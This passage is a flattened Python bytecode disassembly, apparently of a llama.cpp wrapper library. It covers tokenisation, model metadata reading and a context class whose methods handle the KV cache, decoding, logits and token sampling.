LOAD_FAST add_bos LOAD_FAST special CALL_METHOD STORE_FAST n_tokens LOAD_FAST n_tokens LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Failed to tokenize: text="' LOAD_FAST text FORMAT_VALUE LOAD_CONST '" n_tokens=' LOAD_FAST n_tokens FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL list LOAD_FAST tokens LOAD_CONST None LOAD_FAST n_tokens BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL ctypes LOAD_METHOD create_string_buffer LOAD_CONST 32 CALL_METHOD STORE_FAST buf LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_to_piece LOAD_FAST self LOAD_ATTR model LOAD_FAST token LOAD_FAST buf LOAD_CONST 32 CALL_METHOD POP_TOP LOAD_GLOBAL bytes LOAD_FAST buf CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'' STORE_FAST output LOAD_CONST 32 STORE_FAST size LOAD_GLOBAL ctypes LOAD_ATTR c_char LOAD_FAST size BINARY_MULTIPLY CALL_FUNCTION STORE_FAST buffer SETUP_LOOP to 104 LOAD_FAST tokens GET_ITER FOR_ITER to 102 STORE_FAST token LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token_to_piece LOAD_FAST self LOAD_ATTR model LOAD_GLOBAL llama_cpp LOAD_METHOD llama_token LOAD_FAST token CALL_METHOD LOAD_FAST buffer LOAD_FAST size CALL_METHOD STORE_FAST n LOAD_FAST n LOAD_FAST size COMPARE_OP <= POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST output LOAD_GLOBAL bytes LOAD_FAST buffer LOAD_CONST None LOAD_FAST n BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION INPLACE_ADD STORE_FAST output JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST tokens CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST tokens LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self LOAD_METHOD token_bos CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST output LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST output RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS BUILD_MAP STORE_FAST metadata LOAD_CONST 1024 STORE_FAST buffer_size LOAD_GLOBAL ctypes LOAD_METHOD create_string_buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST buffer LOAD_CONST b'\x00' LOAD_FAST buffer_size BINARY_MULTIPLY LOAD_FAST buffer STORE_ATTR value SETUP_LOOP to 224 LOAD_GLOBAL range LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_meta_count LOAD_FAST self LOAD_ATTR model CALL_METHOD CALL_FUNCTION GET_ITER FOR_ITER to 222 STORE_FAST i LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_meta_key_by_index LOAD_FAST self LOAD_ATTR model LOAD_FAST i LOAD_FAST buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST nbytes LOAD_FAST nbytes LOAD_FAST buffer_size COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST nbytes LOAD_CONST 1 BINARY_ADD STORE_FAST buffer_size LOAD_GLOBAL ctypes LOAD_METHOD create_string_buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST buffer LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_meta_key_by_index LOAD_FAST self LOAD_ATTR model LOAD_FAST i LOAD_FAST buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST nbytes LOAD_FAST buffer LOAD_ATTR value LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD STORE_FAST key LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_meta_val_str_by_index LOAD_FAST self LOAD_ATTR model LOAD_FAST i LOAD_FAST buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST nbytes LOAD_FAST nbytes LOAD_FAST buffer_size COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST nbytes LOAD_CONST 1 BINARY_ADD STORE_FAST buffer_size LOAD_GLOBAL ctypes LOAD_METHOD create_string_buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST buffer LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_meta_val_str_by_index LOAD_FAST self LOAD_ATTR model LOAD_FAST i LOAD_FAST buffer LOAD_FAST buffer_size CALL_METHOD STORE_FAST nbytes LOAD_FAST buffer LOAD_ATTR value LOAD_METHOD decode LOAD_CONST 'utf-8' CALL_METHOD STORE_FAST value LOAD_FAST value LOAD_FAST metadata LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST metadata RETURN_VALUE LOAD_GLOBAL llama_cpp LOAD_METHOD llama_model_default_params CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_LlamaContext' STORE_NAME __qualname__ LOAD_CONST "Intermediate Python wrapper for a llama.cpp llama_context.\n NOTE: For stability it's recommended you use the Llama class instead." STORE_NAME __doc__ LOAD_CONST None STORE_NAME _llama_free LOAD_CONST True LOAD_CONST ('verbose',) BUILD_CONST_KEY_MAP LOAD_CONST '_LlamaModel' LOAD_CONST 'llama_cpp.llama_context_params' LOAD_CONST 'bool' LOAD_CONST ('model', 'params', 'verbose') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab703f7b70, file "f.py", line 235> LOAD_CONST '_LlamaContext.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __del__ at 0x7fab703f7930, file "f.py", line 253> LOAD_CONST '_LlamaContext.__del__' MAKE_FUNCTION STORE_NAME __del__ LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object n_ctx at 0x7fab703f7300, file "f.py", line 258> LOAD_CONST '_LlamaContext.n_ctx' MAKE_FUNCTION STORE_NAME n_ctx LOAD_CONST <code object kv_cache_clear at 0x7fab703f7ed0, file "f.py", line 262> LOAD_CONST '_LlamaContext.kv_cache_clear' MAKE_FUNCTION STORE_NAME kv_cache_clear LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('seq_id', 'p0', 'p1') BUILD_CONST_KEY_MAP LOAD_CONST <code object kv_cache_seq_rm at 0x7fab703f7ae0, file "f.py", line 266> LOAD_CONST '_LlamaContext.kv_cache_seq_rm' MAKE_FUNCTION STORE_NAME kv_cache_seq_rm LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('seq_id_src', 'seq_id_dst', 'p0', 'p1') BUILD_CONST_KEY_MAP LOAD_CONST <code object kv_cache_seq_cp at 0x7fab703f7c00, file "f.py", line 270> LOAD_CONST '_LlamaContext.kv_cache_seq_cp' MAKE_FUNCTION STORE_NAME kv_cache_seq_cp LOAD_CONST 'int' LOAD_CONST ('seq_id',) BUILD_CONST_KEY_MAP LOAD_CONST <code object kv_cache_seq_keep at 0x7fab703f7540, file "f.py", line 274> LOAD_CONST '_LlamaContext.kv_cache_seq_keep' MAKE_FUNCTION STORE_NAME kv_cache_seq_keep LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('seq_id', 'p0', 'p1', 'shift') BUILD_CONST_KEY_MAP LOAD_CONST <code object kv_cache_seq_shift at 0x7fab703f7db0, file "f.py", line 278> LOAD_CONST '_LlamaContext.kv_cache_seq_shift' MAKE_FUNCTION STORE_NAME kv_cache_seq_shift LOAD_CONST 'int' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_state_size at 0x7fab703f7810, file "f.py", line 282> LOAD_CONST '_LlamaContext.get_state_size' MAKE_FUNCTION STORE_NAME get_state_size LOAD_CONST "'_LlamaBatch'" LOAD_CONST ('batch',) BUILD_CONST_KEY_MAP LOAD_CONST <code object decode at 0x7fab703f7e40, file "f.py", line 286> LOAD_CONST '_LlamaContext.decode' MAKE_FUNCTION STORE_NAME decode LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('n_threads', 'n_threads_batch') BUILD_CONST_KEY_MAP LOAD_CONST <code object set_n_threads at 0x7fab703f75d0, file "f.py", line 296> LOAD_CONST '_LlamaContext.set_n_threads' MAKE_FUNCTION STORE_NAME set_n_threads LOAD_CONST <code object get_logits at 0x7fab703f7420, file "f.py", line 300> LOAD_CONST '_LlamaContext.get_logits' MAKE_FUNCTION STORE_NAME get_logits LOAD_CONST 'int' LOAD_CONST ('i',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_logits_ith at 0x7fab703f7d20, file "f.py", line 304> LOAD_CONST '_LlamaContext.get_logits_ith' MAKE_FUNCTION STORE_NAME get_logits_ith LOAD_CONST <code object get_embeddings at 0x7fab703f7a50, file "f.py", line 308> LOAD_CONST '_LlamaContext.get_embeddings' MAKE_FUNCTION STORE_NAME get_embeddings LOAD_CONST 'int' LOAD_CONST ('seed',) BUILD_CONST_KEY_MAP LOAD_CONST <code object set_rng_seed at 0x7fab703f74b0, file "f.py", line 312> LOAD_CONST '_LlamaContext.set_rng_seed' MAKE_FUNCTION STORE_NAME set_rng_seed LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST "'llama_cpp.Array[llama_cpp.llama_token]'" LOAD_CONST 'int' LOAD_CONST 'float' LOAD_CONST 'float' LOAD_CONST 'float' LOAD_CONST ('candidates', 'last_tokens_data', 'penalty_last_n', 'penalty_repeat', 'penalty_freq', 'penalty_present') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_repetition_penalties at 0x7fab703f76f0, file "f.py", line 316> LOAD_CONST '_LlamaContext.sample_repetition_penalties' MAKE_FUNCTION STORE_NAME sample_repetition_penalties LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST "'_LlamaContext'" LOAD_CONST 'float' LOAD_CONST ('candidates', 'guidance_ctx', 'scale') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_classifier_free_guidance at 0x7fab703f71e0, file "f.py", line 336> LOAD_CONST '_LlamaContext.sample_classifier_free_guidance' MAKE_FUNCTION STORE_NAME sample_classifier_free_guidance LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST ('candidates',) BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_softmax at 0x7fab703f7780, file "f.py", line 351> LOAD_CONST '_LlamaContext.sample_softmax' MAKE_FUNCTION STORE_NAME sample_softmax LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST ('candidates', 'k', 'min_keep') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_top_k at 0x7fab703f78a0, file "f.py", line 358> LOAD_CONST '_LlamaContext.sample_top_k' MAKE_FUNCTION STORE_NAME sample_top_k LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'int' LOAD_CONST ('candidates', 'p', 'min_keep') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_top_p at 0x7fab703f70c0, file "f.py", line 364> LOAD_CONST '_LlamaContext.sample_top_p' MAKE_FUNCTION STORE_NAME sample_top_p LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'int' LOAD_CONST ('candidates', 'p', 'min_keep') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_min_p at 0x7fab703f7390, file "f.py", line 370> LOAD_CONST '_LlamaContext.sample_min_p' MAKE_FUNCTION STORE_NAME sample_min_p LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'int' LOAD_CONST ('candidates', 'z', 'min_keep') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_tail_free at 0x7fab703f7150, file "f.py", line 376> LOAD_CONST '_LlamaContext.sample_tail_free' MAKE_FUNCTION STORE_NAME sample_tail_free LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'int' LOAD_CONST ('candidates', 'p', 'min_keep') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_typical at 0x7fab640c2030, file "f.py", line 384> LOAD_CONST '_LlamaContext.sample_typical' MAKE_FUNCTION STORE_NAME sample_typical LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST ('candidates', 'temp') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_temp at 0x7fab640c20c0, file "f.py", line 392> LOAD_CONST '_LlamaContext.sample_temp' MAKE_FUNCTION STORE_NAME sample_temp LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'LlamaGrammar' LOAD_CONST ('candidates', 'grammar') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_grammar at 0x7fab640c2150, file "f.py", line 398> LOAD_CONST '_LlamaContext.sample_grammar' MAKE_FUNCTION STORE_NAME sample_grammar LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'float' LOAD_CONST 'int' LOAD_CONST 'ctypes._Pointer[ctypes.c_float]' LOAD_CONST 'int' LOAD_CONST ('candidates', 'tau', 'eta', 'm', 'mu', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_token_mirostat at 0x7fab640c21e0, file "f.py", line 407> LOAD_CONST '_LlamaContext.sample_token_mirostat' MAKE_FUNCTION STORE_NAME sample_token_mirostat LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'float' LOAD_CONST 'float' LOAD_CONST 'ctypes._Pointer[ctypes.c_float]' LOAD_CONST 'int' LOAD_CONST ('candidates', 'tau', 'eta', 'mu', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_token_mirostat_v2 at 0x7fab640c2270, file "f.py", line 425> LOAD_CONST '_LlamaContext.sample_token_mirostat_v2' MAKE_FUNCTION STORE_NAME sample_token_mirostat_v2 LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'int' LOAD_CONST ('candidates', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_token_greedy at 0x7fab640c2300, file "f.py", line 437> LOAD_CONST '_LlamaContext.sample_token_greedy' MAKE_FUNCTION STORE_NAME sample_token_greedy LOAD_CONST "'_LlamaTokenDataArray'" LOAD_CONST 'int' LOAD_CONST ('candidates', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object sample_token at 0x7fab640c2390, file "f.py", line 444> LOAD_CONST '_LlamaContext.sample_token' MAKE_FUNCTION STORE_NAME sample_token LOAD_CONST 'LlamaGrammar' LOAD_CONST 'int' LOAD_CONST ('grammar', 'token') BUILD_CONST_KEY_MAP LOAD_CONST <code object grammar_accept_token at 0x7fab640c2420, file "f.py", line 451> LOAD_CONST '_LlamaContext.grammar_accept_token' MAKE_FUNCTION STORE_NAME grammar_accept_token LOAD_CONST <code object reset_timings at 0x7fab640c24b0, file "f.py", line 456> LOAD_CONST '_LlamaContext.reset_timings' MAKE_FUNCTION STORE_NAME reset_timings LOAD_CONST <code object print_timings at 0x7fab640c2540, file "f.py", line 460> LOAD_CONST '_LlamaContext.print_timings' MAKE_FUNCTION STORE_NAME print_timings LOAD_NAME staticmethod LOAD_CONST <code object default_params at 0x7fab640c25d0, file "f.py", line 464> LOAD_CONST '_LlamaContext.default_params' MAKE_FUNCTION CALL_FUNCTION STORE_NAME default_params LOAD_CONST None RETURN_VALUE LOAD_FAST model LOAD_FAST self STORE_ATTR model LOAD_FAST params LOAD_FAST self STORE_ATTR params LOAD_FAST verbose LOAD_FAST self STORE_ATTR verbose LOAD_GLOBAL llama_cpp LOAD_ATTR _lib LOAD_ATTR llama_free LOAD_FAST self STORE_ATTR _llama_free LOAD_CONST None LOAD_FAST self STORE_ATTR ctx LOAD_FAST self LOAD_ATTR model LOAD_ATTR model LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_new_context_with_model LOAD_FAST self LOAD_ATTR model LOAD_ATTR model LOAD_FAST self LOAD_ATTR params CALL_METHOD LOAD_FAST self STORE_ATTR ctx LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _llama_free LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _llama_free LOAD_FAST self LOAD_ATTR ctx CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR ctx LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_n_ctx LOAD_FAST self LOAD_ATTR ctx CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_kv_cache_clear LOAD_FAST self LOAD_ATTR ctx CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_kv_cache_seq_rm LOAD_FAST self LOAD_ATTR ctx LOAD_FAST seq_id LOAD_FAST p0 LOAD_FAST p1 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_kv_cache_seq_cp LOAD_FAST self LOAD_ATTR ctx LOAD_FAST seq_id_src LOAD_FAST seq_id_dst LOAD_FAST p0 LOAD_FAST p1 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_kv_cache_seq_keep LOAD_FAST self LOAD_ATTR ctx LOAD_FAST seq_id CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_kv_cache_seq_shift LOAD_FAST self LOAD_ATTR ctx LOAD_FAST seq_id LOAD_FAST p0 LOAD_FAST p1 LOAD_FAST shift CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_get_state_size LOAD_FAST self LOAD_ATTR ctx CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST batch LOAD_ATTR batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_ATTR llama_decode LOAD_FAST self LOAD_ATTR ctx LOAD_FAST batch LOAD_ATTR batch LOAD_CONST ('ctx', 'batch') CALL_FUNCTION STORE_FAST return_code LOAD_FAST return_code LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'llama_decode returned ' LOAD_FAST return_code FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_set_n_threads LOAD_FAST self LOAD_ATTR ctx LOAD_FAST n_threads LOAD_FAST n_threads_batch CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_get_logits LOAD_FAST self LOAD_ATTR ctx CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_get_logits_ith LOAD_FAST self LOAD_ATTR ctx LOAD_FAST i CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_get_embeddings LOAD_FAST self LOAD_ATTR ctx CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_set_rng_seed LOAD_FAST self LOAD_ATTR ctx LOAD_FAST seed CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_repetition_penalties LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST last_tokens_data LOAD_FAST penalty_last_n LOAD_FAST penalty_repeat LOAD_FAST penalty_freq LOAD_FAST penalty_present CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST guidance_ctx LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_classifier_free_guidance LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST guidance_ctx LOAD_ATTR ctx LOAD_FAST scale CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_softmax LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_top_k LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST k LOAD_FAST min_keep CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_top_p LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST p LOAD_FAST min_keep CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_min_p LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST p LOAD_FAST min_keep CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_tail_free LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST z LOAD_FAST min_keep CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_typical LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST p LOAD_FAST min_keep CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_temp LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST temp CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST grammar LOAD_ATTR grammar LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_grammar LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST grammar LOAD_ATTR grammar CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_token_mirostat LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST tau LOAD_FAST eta LOAD_FAST m LOAD_FAST mu CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_token_mirostat_v2 LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD LOAD_FAST tau LOAD_FAST eta LOAD_FAST mu CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_token_greedy LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL llama_cpp LOAD_METHOD llama_sample_token LOAD_FAST self LOAD_ATTR ctx LOAD_GLOBAL ctypes LOAD_METHOD byref LOAD_FAST candidates LOAD_ATTR candidates CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST grammar LOAD_ATTR grammar LOAD_CONST None COMPARE_OP is not 